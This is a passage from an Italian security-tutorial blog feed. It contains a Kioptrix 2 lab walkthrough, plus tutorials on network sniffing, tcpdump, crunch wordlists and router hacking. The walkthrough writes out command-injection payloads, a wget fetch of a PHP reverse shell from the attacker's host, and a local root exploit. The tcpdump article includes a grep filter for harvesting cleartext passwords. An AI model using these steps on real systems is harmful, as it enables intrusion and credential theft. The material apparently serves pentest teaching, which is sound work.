MAC Address: F0:7D:68:F5:B9:00 (D-Link)

Noto che c’è un servizio aperto (Apache) sulla porta 80, per cui con il browser digito l’indirizzo IP e trovo una schermata di login

loginkio2

Attacco SQL Injection

La prima cosa che mi viene in mente è effettuare un attacco bruteforce con hydra, ma dopo parecchi tentativi sembra che non si riesca ad entrare. Provo quindi a vedere se è possibile compiere sql injection nel form di login utilizzando Burp Suite.

BurpSuitekio2

Utilizzando la solita lista, seleziono “MySQL_MSSQL.fuzz” il quale contiene una lista di SQL injection abbastanza generici.

BurpListkio2

Faccio partire l’attacco e scopro che effettivamente è vulnerabile! Infatti sono riuscito ad entrare e mi trovo davanti un’altro form, questa volta un test che effettua ping.

Burpsqlkio2

Come prima, provo a cercare nella lista di file contenente gli attacchi ciò che potrebbe fare al caso mio, e dopo averne provati un paio senza risultato, scelgo “command-execution-unix.fuzz“, ossia una lista di comandi eseguibili per unix da testare nel form. Imposto Burp Suite e faccio partire di nuovo l’attacco

BurpSanitizekio2

Come si può notare l’attacco ha funzionato, e mi vedo stampato il file contenente le password. Purtroppo è vuoto, provo a modificare il percorso inserendone altri noti ma sembra che non abbia i permessi necessari. Ma da questo punto in poi l’exploit sarà solo che in discesa. L’aver scoperto che da un semplice form si possono eseguire comandi diretti sulla macchina significa che potremo caricare qualsiasi file ed eseguirlo senza nessuna restrizione.

Effettuo l’exploit

Digito il comando

; uname -a

il quale ci permette di determinare la versione del kernel presente sulla macchina. Il punto e virgola iniziale serve per differenziare le operazioni. Come prima istruzione la macchina effettua un ping con la stringa vuota, mentre la seconda istruzione (quella che vogliamo che effettui) la esegue successivamente. Se non lo mettessi cercherebbe di riconoscere il comando come una ping ad un indirizzo IP, cosa che non ci porterebbe a nulla.

unamekio2

L’idea ora è quella di riuscire a creare una connessione tra la mia macchina e Kioptrix, caricando su di esso una backdoor. Kali ha alcune semplici backdoor da poter utilizzare in questi casi, si trovano in /usr/share/webshells/. Avendo a che fare con un server, seleziono il file php-reverse-shell.php presente nella cartella php e lo copio sul Desktop. Una reverse shell ti permette di collegarti ad una macchina e prendere possesso del suo terminale. Sarebbe stato possibile crearla anche utilizzando bash e per chi vuole provare si possono trovare informazioni utili a questo indirizzo.

Come sempre, ricordo di leggere gli script che utilizzate e cercate di comprenderli. In questo caso infatti, bisogna modificare un paio di righe che rappresentano l’ip locale del nostro dispositivo e la porta che vogliamo utilizzare (nel mio caso 31333).

shellkio2

Dopo averlo modificato apro una connessione sulla porta selezionata con questo comando

cat php-reverse-shell.php | nc -l -p 31333

In questo modo invio il contenuto del file a qualsiasi dispositivo che lo richiede sulla porta specificata tramite netcat, il quale ci permette di creare una comunicazione remota tra la nostra macchina e kioptrix.

Mentre è in attesa di una richiesta, digito nel form del sito il comando che mi permette di ricevere il file e copiarlo in una cartella che non richiede privilegi
wgetkio2
Il comando è

; wget 192.168.1.111:31333 -O /tmp/rshell.php

Wget è un gestore di download a riga di comando. Nel nostro caso ho passato l’indirizzo IP della mia macchina e la porta scelta precedentemente, mentre l’opzione -O ci permette di selezionare la cartella di destinazione.
In questo modo viene caricato il file rshell.php nella cartella tmp (vedrete infatti che sul terminale è stata avviata una connessione tra le due macchine)
uploadkio2
Ora si può chiudere la connessione digitando “CTRL+c” sul terminale.
Adesso bisogna fare in modo di avviare quell’applicazione php, eseguendo di nuovo netcat

nc -l -p 31333

e sul form eseguiamo il file appena caricato
exphpkio2
Sul terminale si può notare che siamo riusciti ad entrare nella macchina, ma senza nessun permesso, quindi ancora non riusciamo a vedere le password.

exploitokkio2
Ora bisogna riuscire ad ottenere i privilegi di root (privilege escalation) e aprire finalmente il file con le password.
Usiamo searchsploit per trovare una vulnerabilità
rootexplkio2
N.B.:Io scelgo il 9542.c poichè già lo conoscevo. Vi consiglio caldamente di provarne altri, non necessariamente solo questo potrebbe funzionare.
Per caricarlo utilizziamo un metodo molto simile a quello precedente, solo che stavolta procederemo da terminale, poichè abbiamo l’accesso.
Dal mio dispositivo eseguo questi comandi

root@kali:# service apache2 start
root@kali:# cp /usr/share/exploitdb/platforms/linux/local/9542.c /var/www/html

ossia avvio il server apache che mi permetterà (dalla macchina Kioptrix) di eseguire l’exploit e copio il file dentro la cartella del server.
Dal terminale con cui controllo il dispositivo invece digito

sh-3.00$ wget http://192.168.1.111/9542.c   /*ossia scarico il file appena copiato sul mio server*/
--12:38:51--  http://192.168.1.111/9542.c
           => `9542.c'
Connecting to 192.168.1.111:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,645 (2.6K) [text/x-csrc]

    0K ..                                                    100%    2.96 MB/s

12:38:51 (2.96 MB/s) - `9542.c' saved [2645/2645]

sh-3.00$ gcc 9542.c  -o a.out           /*compilo il file c */
sh-3.00$ chmod 777 a.out                /*cambio i permessi, altrimenti non lo esegue*/
sh-3.00$ ./a.out                        /*eseguo il file*/
sh: no job control in this shell

Per vedere se ha funzionato, controllo chi rappresento in questo momento e cerco di visualizzare il file di password tanto agognato
gotrootkio2

Ed ecco che siamo riusciti a guadagnare l’accesso al root. Ora possiamo cambiare la password del sistema e accedervi oppure passare il file contenente le password a John che proverà a craccarle (sarei propenso alla prima, visto che non sappiamo quanto possono essere complesse)

Conclusioni

Questo livello era decisamente più complesso rispetto allo scorso, in quanto dovevamo effettuare più passaggi. Ricapitolando abbiamo eseguito:

  1. una scansione delle porte aperte con nmap;
  2. SQL Injection con Burp Suite per superare la prima barriera del login;
  3. esecuzione di una serie di comandi nel form per vedere se era programmato male;
  4. creazione di una connessione remota tra la nostra macchina e Kioptrix;
  5. caricamento prima di una reverse shell e successivamente uno script per aumentare i nostri privilegi guadagnando cosi l’accesso a root;
  6. stampa del file di password e successivo cambiamento di password o cracking delle stesse.

Spero di essere riuscito a spiegare dettagliatamente ogni passaggio, per ogni dubbio commentate e sarò ben lieto di rispondervi!

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips


Sniffare la rete, cosa significa?

$
0
0

Lo sniffing di pacchetti è il processo di monitoraggio e cattura di tutti i pacchetti che passano tramite la rete utilizzando un software o un dispositivo hardware. Uno sniffer è quindi un programma che monitora il passaggio di dati su di una rete; esso può essere utilizzato per attività legittime, come la risoluzione di problemi di rete, ma anche per attività illegali, come l’intercettazione di dati sensibili, di conversazioni o di trasmissioni segrete.

Le informazioni più sensibili che si potrebbero trovare su una rete sono:

  • traffico email;
  • password di servizi, come ftp;
  • configurazione del router;
  • traffico internet, composto di servizi utilizzati e siti visitati.

sniffing

 

Tipologie di attacchi sniffing

Gli sniffer sono quindi utilizzati per catturare i dati trasmessi sopra una rete, legittimamente o illegalmente. Le tipologie principali degli attacchi sniffing sono:

  1. MAC Flooding: è un tipo di attacco che inonda il switch di rete con dati, il che solitamente interrompe il passaggio di pacchetti e l’attaccante può monitorare i dati.
  2. DNS Poisoning: è il processo nel quale l’utente viene redirezionato verso un finto sito. Questo succede perchè l’attaccante ha inviato falsi dati al DNS, e il sito versio cui l’utente è diretto sarà simile all’originale ma controllato in tutto e per tutto dall’attaccante (pensiamo ad esempio ad un sito di una banca);
  3. ARP Poisoning: l’attaccante cerca di associare il suo indirizzo MAC con l’indirizzo IP della vittima, in modo che il traffico sia inviato all’attaccante;
  4. Attacco DHCP: si divide a sua volta in due attacchi diversi:
    1. DHCP starvation, ossia il processo di attacco ad un server dhcp invandogli molte richieste;
    2. Rogue DHCP server: l’attaccante imposta un server rogue dhcp in modo da impersonare il server legittimo sulla lan;
  5. Password sniffing: attacco tramite il quale vengono rubate le password monitorando la rete. Questo accade quando i dati sono inviati in chiaro, quindi sensa essere crittografati (ad esempio, quando un sito ha http e non https).

 

Tipi di sniffing

In base al tipo di rete, lo sniffing può essere di due tipi:

  1. Sniffing Passivo;
  2. Sniffing Attivo.

Con lo sniffing passivo non si invia nessun pacchetta, vengono solamente monitorati I dati inviati sulla rete; è utilizzato solitamente sulle reti che utilizzano hub. Ovviamente è decisamente meno visibile rispetto all’attivo,

Nello sniffing attivo viene iniettato traffico nella rete per identificare e intercettare gli access points ed include il MAC Flooding, ARP spoofing e DHCP Starvation.

Protocolli vulnerabili allo sniffing

I protocolli più vulnerabili allo sniffing sono:

  • HTTP: ormai ben poco utilizzato e sostituito dall’HTTPS, invia dati e informazioni in chiaro;
  • FTP: invia password e dati in chiaro;
  • Telnet: sniffando la connessione si può catturare username e password, eventualmente insieme al testo passante per il protocollo;
  • IMAP.
Attacco MAC

Un indirizzo MAC è un indirizzo hardware che identifica univocamente ogni nodo di una rete. Ogni dispositivo connesso ad una rete possiede un indirizzo MAC associato ad una porta fisica.

Il MAC Flooding “bombarda” il switch di rete fino a quando la tabella CAM è piena. Una volta riempita, il switch inizia a inondare tutto il traffico in entrata a tutte le porte. Tipicamente il MAC Flooding invia numerose richieste utilizzando diversi indirizzi mac fasulli. Una volta che la tabella è piena, qualsiasi altra richiesta sarà forzata dal switch ad entrare in modalità failopen, che lo fa comportare come un hub, inviando così gli stessi dati a tutti gli apparati ad esso collegati, compreso quello di un eventuale aggressore che può dunque sniffare tutto il traffico in transito nella rete.

Uno dei principali software per questa tecnica è macof. Esso inonda la rete locale con indirizzi mac casuali, fino a riempirla.

sniffingmacof

Un’altro è yersinia, framework programmato per analizzare e testare reti e sistemi connessi ad esse. A questo indirizzo potrete trovare un approfondimento al tool (che probabilmente approfondirò in un prossimo articolo).

Per difendersi da questo attacco, è possibile assignare un indirizzo mac sicuro ad ogni porta, in modo che le richieste provenienti da indirizzi mac fasulli non siano accettate.

Attacco DHCP

DHCP (Dynamic Host Configuration Protocol) è un protocollo di rete di livello applicativo che permette ai dispositivi o terminali di una rete locale di ricevere automaticamente a ogni richiesta di accesso a una rete IP la configurazione dell’indirizzo IP necessaria per stabilire una connessione e operare su una rete più ampia.

Attacco DCHP Starvation

In questo attacco, l’attaccante inonda il server DHCP inviando molteplici richieste utilizzando gli indirizzi IP disponibili facendo in modo che un host della rete interna simuli di essere il server DHCP e invii delle risposte ad-hoc alle DHCP-REQUEST che gli arrivano, specificando l’indirizzo IP dell’attaccante come default gateway. In tal modo tutto il traffico, prima di arrivare all’esterno, passerà per la macchina controllata dall’attaccante.

Un software scritto appositamente è dhcpstarv, altrimenti anche yersinia da la possibilità di compiere questo attacco.

sniffingyersinia

Arp poisoning

ARP (Address Resolution Protocol) è un protocollo TPC/IP che mappa gli indirizzi IP con gli indirizzi hardware utilizzati dal protoccolo data link. Utilizzando questo protocollo, si possono ricevere gli indirizzi MAC di ogni dispositivo connesso alla rete.

Un computer salva e mantiene una cache ARP locale quando riceve un pacchetto ARP di richiesta o risposta. Un attaccante può creare una risposta ARP malevola contenente un indirizzo IP associato ad un indirizzo MAC., forzando il computer della vittima ad accettare la richiesta.

L’ARP Poisoning consiste nell’inviare in modo forzato risposte ARP contenenti dati fasulli, in modo da riempire la tabella ARP con dati alterati.

Questa tecnica consente di:

  • effettuare un attacco DoS;
  • rubare ID delle sessioni tramite hijacking;
  • compiere un attacco Man-in-the-Middle.

sniffingmitm

Essendo l’attacco MITM abbastanza complesso (sia teoricamente che tecnicamente) lo affronterò in seguito. Per chi volesse già approfondire, consiglio IronGeek, Ettercap e un paper della Cisco.

DNS poisoning

DNS (Domain Name Server) è un protocollo che traduce i nomi di dominio in indirizzi IP. Per mantenere i DNS, vengono usate delle tabelle che contengono i nomi di dominio e l’equivalente indirizzo IP, salvati in grandi database. Il DNS poising  (chiamato anche DNS Spoofing) consiste nel provare a redirezionare la vittima su server maligni invece che su server legittimi, manipolando appunto la tabella dei DNS a loro insaputa. Per lanciare un attacco DNS poisoning bisogna:

  1. creare un falso sito sul proprio dispositivo;
  2. installare e configurare un software che permette di impersonare un server DNS (ad esempio treewalk);
  3. cammuffare il file e inviarlo all’utente vittima;
  4. Quando la vittima clicca sul file inviato, esso rimpiazzerà I DNS;
  5. L’attaccante è ora il server DNS della vittima, e tutte le richieste passeranno dal nostro dispositivo;
  6. Quando la vittima proverà ad andare sul sito prescelto (per esempio, una banca) invierà le credenziali al nostro dispositivo e sarà redirezionata al vero sito internet. In questo modo non se ne accorgerà, e noi avremo le credenziali.

N.B. Ho descritto passi molto generici; per chi vuole approfondire, OWASP.

Ci sono quattro tipi di attacco DNS poisoning:

  1. Intranet DNS spoofing;
  2. Internet DNS spoofing;
  3. Proxy server DNS poisoning;
  4. DNS cache poisoning.

 

Sniffing Tool

Oltre ai software citati in precedenza, lo sniffer più utilizzato al mondo è Wireshark. Esso può catturare, salvare, importare ed esportare i pacchetti di rete; include un sistema di filtraggio completo e colori diversificati in base al tipo di pacchetto intercettato.

Un programma simile, ma a linea di comando e decisamente più ostico è Tcpdump.

sniffingtcpdump

Per analizzare pacchetti dhcp da file analizzati con tcpdump consiglio dhcpdump.

P0f è invece un tool utilizzato per lo sniffing passivo, il quale cerca di identificare i dispositivi connessi alla rete senza interferire in nessun modo con la monucazione TCP/IP.

sniffingp0f

Conclusioni

Quando si effettua un pentest o simulazioni di un attacco (ricordo che non è legale intercettare le connessioni altrui) è bene provare tutte le tipologie di attacco, in modo da riuscire ad individuare punti deboli. Come contromisure consiglio di:

  1. Autenticarsi sempre con connessioni cifrate, utilizzando ssl o siti con https;
  2. Non connettersi mai a Wi-Fi liberi, molte volte possono essere configurati in modo da registrare il traffico passante;
  3. Controllare che i siti visitati siano quelli veri e non indirizzi fasulli;
  4. Per connessioni da remoto, utilizzare sempre ssh.

 

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Sniffare il traffico con Tcpdump

$
0
0

Tcpdump è uno dei software più completi e utilizzati per l’analisi del traffico su una rete locale, insieme a Wireshark. In questo tutorial andrò ad utilizzare la versione per linux, ma esiste un’ottima alternativa anche per Windows, ossia Windump.

Tcpdump è un software che ci permette di osservare il traffico che passa su di una rete. Le informazioni principali vengono ricavare dal TCP header, il quale contiene l’indirizzo di destinazione e di sorgente, le informazioni di stato, il protocollo utilizzato, etc.

Introduzione

Dopo averlo installato (sui dispositivi Linux dovrebbe esser già presente) notiamo subito che ha moltissime opzioni, che inzialmente risulteranno incomprensibili

tcpdumphelp

L’informazione principale che dobbiamo conoscere è su quale interfaccia vogliamo intercettare il traffico. Se siamo su una rete Ethernet, selezioneremo eth0, mentre utilizzando il Wi-Fi sarà wlan0. Per saperlo basta digitare

root@kali:~# ifconfig 
eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 78:[..]:df  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.5.50.31  netmask 255.255.255.0  broadcast 10.5.50.255
        inet6 fe80:[..]:d4df  prefixlen 64  scopeid 0x20
        ether cc:[..]:29  txqueuelen 1000  (Ethernet)
        RX packets 397945  bytes 514295529 (490.4 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 339053  bytes 35641479 (33.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Nel mio caso sono connesso con il Wi-Fi, perciò utilizzerò wlan0 (per gli utenti Windows bisogna digitare nel terminale ipconfig).

Per intercettare il traffico su una determinata porta (ad esempio, vogliamo intercettare il traffico ftp)

tcpdump -i wlan0 port 21 -vv

Dove l’opzione -i indica l’interfaccia, port indica la porta su cui intercetterlo e -vv dice al programma che voglio un output “prolisso” e completo.

root@kali:~# tcpdump -i wlan0 port 21 -vv
tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 262144 bytes
16:17:38.231730 IP (tos 0x0, ttl 64, id 37022, offset 0, flags [DF], proto TCP (6), length 60)
    kali.42984 > ftp.hq.nasa.gov.ftp: Flags [S], cksum 0x701d (correct), seq 694116358, win 29200, options [mss 1460,sackOK,TS val 1175704 ecr 0,nop,wscale 7], length 0

    kali.42984 > ftp.hq.nasa.gov.ftp: Flags [.], cksum 0x4dcf (correct), seq 1, ack 200, win 229, options [nop,nop,TS val 1176252 ecr 2773945888], length 0
16:17:40.424657 IP (tos 0x0, ttl 51, id 24218, offset 0, flags [DF], proto TCP (6), length 497)
    ftp.hq.nasa.gov.ftp > kali.42984: Flags [P.], cksum 0x01bb (correct), seq 200:645, ack 1, win 46, options [nop,nop,TS val 2773945888 ecr 1176200], length 445: FTP, length: 445
	 
	 This is NASA HQ ANONYMOUS FTP SERVER.
	 
	 Please read the README file located in the initial server root directory.
	 
	 IF you place files into the /incoming directory, it is IMPERATIVE that you
	 notify ftp-admin@hq.nasa.gov that you have done so and of your intended
	 disposition of those files.  Absent such notification, all files placed
	 in /incoming that cannot be identified will be immediately deleted.

Questo è il risultato ottenuto intercettando il traffico sulla porta 21, dove:

  • 16:17:38.231730 indica l’orario di passaggio del pacchetto;
  • kali.42984 > ftp.hq.nasa.gov.ftp indica l’host di partenza (il mio dispositivo) e l’host di arrivo (sito ftp della nasa)
  • Flag [S]: la connessione è inziata (SYN)
  • altri dati più o meno importanti come il time-to-live o il checksum.

Comandi principali

Alcune delle opzioni degne di nota in tcpdump sono:

  • -n non converte gli indirizzi in nomi;
  • -S stampa la sequenza dei messaggi TCP che passano sulla rete;
  • host 1.2.3.4 osserva il traffico che passa da quell’indirizzo (ad esempio se abbiamo un obbiettivo specifico su una rete locale);
  • port e proto: ad esempio se vogliamo intercettare il traffico passante per la porta 139 e il protocollo udp, digitiamo tcpdump udp port 139 (la parola proto non si digita);
  • filtraggio in base alla grandezza dei pacchetti: se vogliamo intercettare solo i pacchetti minori o maggiori di una certa quantità basta digitare tcpdump >128 o tcpdump < 32;
  • -q stampa solo le informazioni essenziali, eliminando flags e gli altri dati;
  • -w salva i dati catturari in un file, in modo che si possano analizzare anche in futuro.

Sniffare una rete con connesse decine di persone e migliaia di richieste al secondo non ha ovviamente senso, nessuno riuscirebbe ad analizzare tutti quei dati. Ciò che consiglio è eventualmente di selezionare uno o due host (è possibile unire espressioni con &&) e analizzare il loro traffico su specifiche porte. Altri comandi utili possono essere trovati nel manuale di tcpdump, sul sito sans, e in un’ottima guida di Demetro Milea.

Esempi pratici

Nel caso volessi sniffare il traffico in una rete molto frequentata e trovare credenziali di login inserite da qualcuno, il metodo migliore potrebbe essere questo:

root@kali:~# tcpdump port http or port ftp -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user '

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on wlan0, link-type EN10MB (Ethernet), capture size 262144 bytes
referer=http%3A%2F%2Fforum.tntvillage.scambioetico.org%2Findex.php%3Fs%3D45243e9814b6b21fecf176c46a6eae4a%26act%3DLogin%26CODE%3D00&UserName=hacking&PassWord=123456&CookieDate=1

Come si può notare, in un sito che non utilizza HTTPS ma solo HTTP si possono intercettare le credenziali in chiaro. Questo è uno dei motivi per cui non bisogna mai connettersi ad un Wi-Fi non sicuro o accessibile a chiunque e connettersi a siti senza certificato.

In questo caso intercetto tutto il traffico (l’opzione -A stampa i pacchetti in ASCII) e filtro solo le richieste POST, che solitamente sono inserimenti di password.

root@kali:~# tcpdump -n -A | grep -e 'POST'

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on wlan0, link-type EN10MB (Ethernet), capture size 262144 bytes
17:17:41.682796 IP 10.5.50.31.33988 > 217.[..].80: Flags [P.], seq 1:624, ack 1, win 229, options [nop,nop,TS val 2076567 ecr 3454258046], length 623: HTTP: POST /wp-login.php HTTP/1.1
.......~POST /wp-login.php HTTP/1.1

Noto che c’è un indirizzo IP che si connette ad un sito WordPress tramite HTTP. Ora potrei selezionare solo l’indirizzo tramite l’opzione host e sniffare tutto il suo traffico.

Ora intercetto tutto il traffico sulla porta 21 (utilizzata solitamente per le connessioni ftp)

root@kali:~# tcpdump -i wlan0 port 21

17:19:53.796145 IP markmallett.[..].ftp > kali.57082: Flags [P.], seq 1:24, ack 1, win 114, options [nop,nop,TS val 266397953 ecr 2109557], length 23: FTP: 220 FTP Server ready.
17:20:05.495585 IP kali.57082 > markmallett.[..].ftp: Flags [P.], seq 1:13, ack 24, win 229, options [nop,nop,TS val 2112520 ecr 266397953], length 12: FTP: USER admin
17:20:05.702646 IP kali.57082 > markmallett.[..].ftp: Flags [P.], seq 13:25, ack 57, win 229, options [nop,nop,TS val 2112572 ecr 266409862], length 12: FTP: PASS admin

Se qualcuno si connette in chiaro, è semplicissimo trovare le credenziali. Per evitare ciò, si può usare il servizio SFTP, il quale non permette lo sniffaggio di credenziali crittografando i dati.

Ricordo che per sniffare tutto il traffico che passa su una rete l’opzione da inserire è -I. In questo modo la nostra scheda wireless monitora tutta la rete esterna. In un portatile questo è solitamente possibile con una chiavetta esterna, visto che una scheda non supporta (di solito) la modalità monitor insieme ad una connessione già presente. Un esempio di scheda wireless USB potrebbe essere questo.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Creare lista di parole per attacchi di forza bruta con crunch

$
0
0

Molte volte durante un penetration test si ha bisogno di liste particolari e specifiche in base alla situazione in cui ci si trova. Vuoi per un particolare tipo di Wi-Fi, vuoi per una richiesta di login di un’azienda, non sempre le liste generiche che si trovano online soddisfano i nostri requisiti. Avere infatti grandi lista di parole (come questa) non ci serve poi a molto se per testare ogni parola ci servono migliaia di ore di lavoro e magari neanche funzionerà.

È stato scritto un software apposito, presente di default in kali linux, che ci permette di creare delle liste a nostro piacimento, con caratteri decisi da noi e della lunghezza che vogliamo.

Crunch, ideato nel 2004 da mimayin e tenuto aggiornato da bofh28, è un semplice programma (l’originale era composto solo da 194 righe di codice) disponibile per linux ed è ciò che ci può servire per creare le nostre liste di parole.

Per utilizzarlo basta digitare

crunch <min> <max> [opzioni]

Dove min e max sono parametri obbligatori e rispettivamente sono la minima e la massima lunghezza delle stringhe da generare.

Inserendo solamente il minimo e massimo, crunch creerà una lista alfabetica

root@kali:~# crunch 3 5

Crunch will now generate the following amount of data: 73643440 bytes

70 MB

Crunch will now generate the following number of lines: 12355928

aaa

aab

aac

aad

aae

aaf

...

Se invece inseriamo dei caratteri dopo il minimo e il massimo, utilizzerà quelli per creare la lista

root@kali:~# crunch 3 5 123abc

Crunch will now generate the following amount of data: 54000 bytes

0 MB

Crunch will now generate the following number of lines: 9288

111

112

113

11a

11b

11c

121

...

Come al solito, per salvare l’output, l’opzione è -o

root@kali:~# crunch 3 5 123abc -o lista.txt

 

Se, ad esempio, vogliamo creare una lista per scoprire la password di una persona (è infatti probabile che la stessa stia utilizzando il suo nome con dei numeri) le opzioni saranno

root@kali:~# crunch 12 12 -t @@Mr.Touch@@

Crunch will now generate the following amount of data: 5940688 bytes

5 MB

Crunch will now generate the following number of lines: 456976

aaMr.Touchaa

aaMr.Touchab

aaMr.Touchaf

aaMr.Touchag

............

dove la chicciola sta ad indicare le lettere da inserire. Se volessimo utilizzare dei numeri al posto delle lettere basta seguire l’esempio poco sopra, unendolo a questo.

Se vogliamo inserire invece caratteri speciali, prima del carattere bisogna digitare ‘\’ (cosidetto carattere di escape). La percentuale indica invece che vogliamo dei numeri al posto delle lettere dell’alfabeto, mentre il minimo e il massimo devono coincidere con la lunghezza della stringa definita.

root@kali:~# crunch 14 14 -t \!@@Mr.Touch@@\%

Crunch will now generate the following amount of data: 68546400 bytes

65 MB

Crunch will now generate the following number of lines: 4569760

!aaMr.Touchaa0

!aaMr.Touchaa1

!aaMr.Touchaa2

!aaMr.Touchaa3

......

Visto che è probabile che crei delle liste di grande peso, si può usare l’opzione -z per comprimere il file

root@kali:~# crunch 14 14 -t \!@@Mr.Touch@@\% -o listaparole.txt -z gzip
Utilizzo avanzato

Se vogliamo anche lettere maiuscole, numeri, caratteri speciali o altro, l’opzione migliore (che in generale consiglio) è di definire i caratteri da utilizzare con un file speciale presente in /usr/share/crunch.

charsetcrunch

Per utilizzarlo l’opzione è -f seguita dal nominativo dei caratteri che vogliamo utilizzare

root@kali:~# crunch 1 3 -f charset.lst symbols14

Crunch will now generate the following amount of data: 11592 bytes

0 MB

0 GB

0 TB

0 PB

Crunch will now generate the following number of lines: 2954

!

@

#

*

.....

In questo caso ho voluto creare una lista di soli simboli. Questa opzione può essere combinata con quelle definite sopra, ad esempio inserendo la chiocciola con un nome definito da noi e poi una lista alfanumerica.

Per chi volesse altri esempi, consiglio di leggere la pagina di irongeek oppure il manuale del software digitando man crunch.

Ricordo che non sempre si riesce a trovare una password e le combinazioni possono essere davvero infinite, quindi attenzione nel creare le liste e cercate sempre un obbiettivo specifico. Creare delle liste di molti GB non serve a nulla poiché servirebbero centinaia di anni per provare tutte le combinazioni.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Linee guida per l’hacking di un router (e come difendersi)

$
0
0

I nostri computer, cellulari, stampanti e sempre più spesso televisori o altri dispositivi sono connessi simultaneamente ai router domestici, i quali ci permettono di connetterci alla rete esterna e navigare in internet. Purtroppo (o per fortuna) anche questi sono vulnerabili ad attacchi esterni o interni e devono essere protetti sempre al massimo, in modo che nessuno possa prendere il controllo dei nostri dispositivi passando da essi.

I passi da effettuare per entrare in un router sono:

  1. Identificare lo stesso (indirizzo IP, marca, modello);
  2. Scansionare le porte attive;
  3. Entrare nel router;
  4. Craccare la password;
  5. Analizzarlo dall’interno, ossia:
    1. controllare gli utenti;
    2. analizzare le informazioni;
    3. monitorare il traffico;
    4. inserire una backdoor;
    5. e molto altro.

Nel seguente articolo eseguirò ogni passo in modo da poter analizzare il proprio router (ricordo che l’accesso abusivo a dispositivi elettronici senza avere il permesso è perseguibile penalmente) e renderlo sicuro da possibili attacchi.

Identificare il router

Il primo passo è il più semplice, bisogna scoprire l’indirizzo IP interno del router a cui siamo connessi. La maggior parte delle reti permette di effettuare un traceroute ed osservare i passi che compiono i pacchetti inviati dal nostro dispositivo ad un sito visitato. Su Linux basta digitare (per chi avesse Windows il comando è tracert):

root@kali:~# traceroute google.it  //*ho scelto un sito casuale*//
traceroute to google.it (216.58.198.35), 30 hops max, 60 byte packets
 1  gateway (192.168.1.1)  1.619 ms  4.508 ms  4.452 ms
 2  * * *
 . . . .
 9  108.170.233.97 (108.170.233.97)  58.401 ms  71.136 ms  60.370 ms
10  mil04s04-in-f35.1e100.net (216.58.198.35)  62.630 ms  76.799 ms  45.007 ms

Come potete vedere il primo passaggio che compie è quello di passare per il router, e ora conosco l’indirizzo IP locale. Nel caso (potrebbe succedere) la rete non permetta un traceroute è possibile scoprirlo anche digitando ifconfig e deducendo l’indirizzo dall’output ricevuto (nel mio caso, dopo inet).

routerhackifconfig

 

Scansione delle porte

Ormai è una tecnica su cui ci siamo esercitati in motli articoli, per chi fosse nuovo consiglio Scan di una rete. Tramite Nmap scansiono in maniera molto semplice tutte le porte del router per veder quale possibilità abbiamo per entrare e quali modi sono più semplici.

root@kali:~# nmap -sT 192.168.1.1
Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-08-19 22:57 CEST
Nmap scan report for 192.168.1.1
Host is up (0.017s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1900/tcp open upnp
20005/tcp open btx
MAC Address: E8:[..]:F9 (Tp-link Technologies)

Nmap done: 1 IP address (1 host up) scanned in 13.45 seconds

Entrare nel router

Per prima cosa noto la porta 80 aperta, per cui provo, digitanto l’indirizzo IP nel browser, a vedere se ha qualche tipo di protezione

 

routerhackhttp

Purtroppo, anche provando diverse combinazioni non riesco a trovare il nome utente e la password (ma si potrebbe utilizzare Burpsuite per un attacco di forza bruta o cercare la password di default tramite uno di questi tre siti). Sono comunque riuscito a trovare il modello, e questo potrebbe servire a trovare una password di default. È un bene che l’interfaccia di accesso sia protetta con credenziali forti e non con quelle di default. Se andate su un sito come questo, copiate il vostro indirizzo pubblico e lo incollate nella barra degli indirizzi del browser, scoprirete che la stessa interfaccia è disponibile al pubblico! Quindi visto chiunque incappi nel vostro indirizzo IP, potrebbe provare ad entrare nel vostro router, è meglio difendersi al meglio.

Cambio porta e provo ad utilizzare il servizio ftp attivo sulla 21

root@kali:~# ftp 192.168.1.1
Connected to 192.168.1.1.
220 Welcome to TP-LINK FTP server
Name (192.168.1.1:root): admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

Ho inserito come nome utente admin e lo stesso per la password e sono dentro al router. Non le ho cambiate io, ma sono quelle di default. Solitamente tengo chiuso l’accesso FTP perchè non mi serve, ma quando l’ho installato era attivo e chiunque sarebbe potuto entrare molto facilmente (per chiudere la porta basta andare in impostazioni e disattivare l’accesso FTP).

Visto che sono dentro, provo a vedere cosa c’è dentro

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    1 0        0            8192 Aug 01 09:43 volume
drwxrwxrwx    1 0        0            8192 Aug 01 09:43 volume(SuperUser)
226 Directory send OK.
ftp> cd volume
250 Directory successfully changed.

Cerco nel volume files che potrebbero interessarmi e trovandoli, effettuo i seguenti passi per trasferirlo sul mio dispositivo:

ftp> binary
200 Switching to Binary mode.
ftp> get eserciziario1.pdf
local: eserciziario1.pdf remote: eserciziario1.pdf
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for eserciziario1.pdf (863758 bytes).
226 Transfer complete.
863758 bytes received in 0.13 secs (6.2773 MB/s)

